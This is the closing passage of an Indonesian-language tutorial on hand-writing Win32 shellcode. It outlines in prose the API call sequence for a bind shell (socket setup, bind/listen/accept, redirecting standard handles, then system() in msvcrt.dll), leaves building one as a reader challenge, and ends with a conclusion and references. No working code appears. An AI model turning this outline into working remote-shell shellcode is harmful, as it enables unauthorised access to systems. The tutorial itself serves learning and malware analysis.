WaitForSingleObject()
CreateProcessA()
SetStdHandle()
- Mencari alamat dasar dari modul
msvcrt.dll
yang memiliki fungsisystem()
- Melakukan kalkulasi offset untuk masing-masing fungsi dari modul tersebut (modul+offset fungsi() = alamat fungsi())
- Mengisi parameter yang dibutuhkan untuk fungsi-fungsi tersebut
- Memanggil fungsi tersebut beserta parameter dari tiap fungsi dimulai dari
LoadLibraryA(), WSAStartup(), WSASocket()
yang kemudian diikuti oleh subfungsibind(), listen(), accept(), SetStdHandle()
, lalu ditutup dengan memanggil fungsisystem()
di modulmsvcrt.dll
.
Terbayang betapa rumitnya merangkai semua proses di atas? Setuju! Namun bagi para pembaca yang ingin membuat shellcode bind/reverse sendiri, saya tinggalkan sebagai challenge 🙂
Kesimpulan
Dengan adanya tulisan ini, setidaknya kita memahami bagaimana cara kerja sebuah shellcode sehingga apabila ada kondisi yang memaksa kita untuk membuat atau mungkin menganalisis sebuah shellcode (misalkan shellcode dari sebuah malware), tulisan ini mudah-mudahan dapat membantu para pembaca sekalian. Membuat shellcode sendiri memang memaksa kita untuk berinteraksi lebih jauh dengan bahasa rakitan/mesin dan memahami bagaimana informasi dari image executable dapat dimanfaatkan untuk membuat sebuah shellcode yang generic.
Tentu saja untuk kasus-kasus tertentu yang membutuhkan penyelesaian yang cepat dan dapat diandalkan, saya tetap menggunakan Metasploit.
Referensi
- Shellcode Tutorial — Project Shellcode
- Exploit writing tutorial part 9 : Introduction to Win32 shellcoding — Corelan
- Finding Kernel32 Base and Function Addresses in Shellcode — ired team
- x86 Disassembly/Functions and Stack Frames — Wikibooks
- Basics of Windows shellcode writing — Ring 0x00
- WinExec Function — Microsoft Documentation
- Win32 Thread Information Block — Wikipedia
- PEB_LDR_DATA Structure — Microsoft Documentation
- Windows/x86 – Null-Free WinExec Calc.exe Shellcode (195 bytes) — Boku
[…] Bagian 7: Membuat shellcode sendiri (win32) […]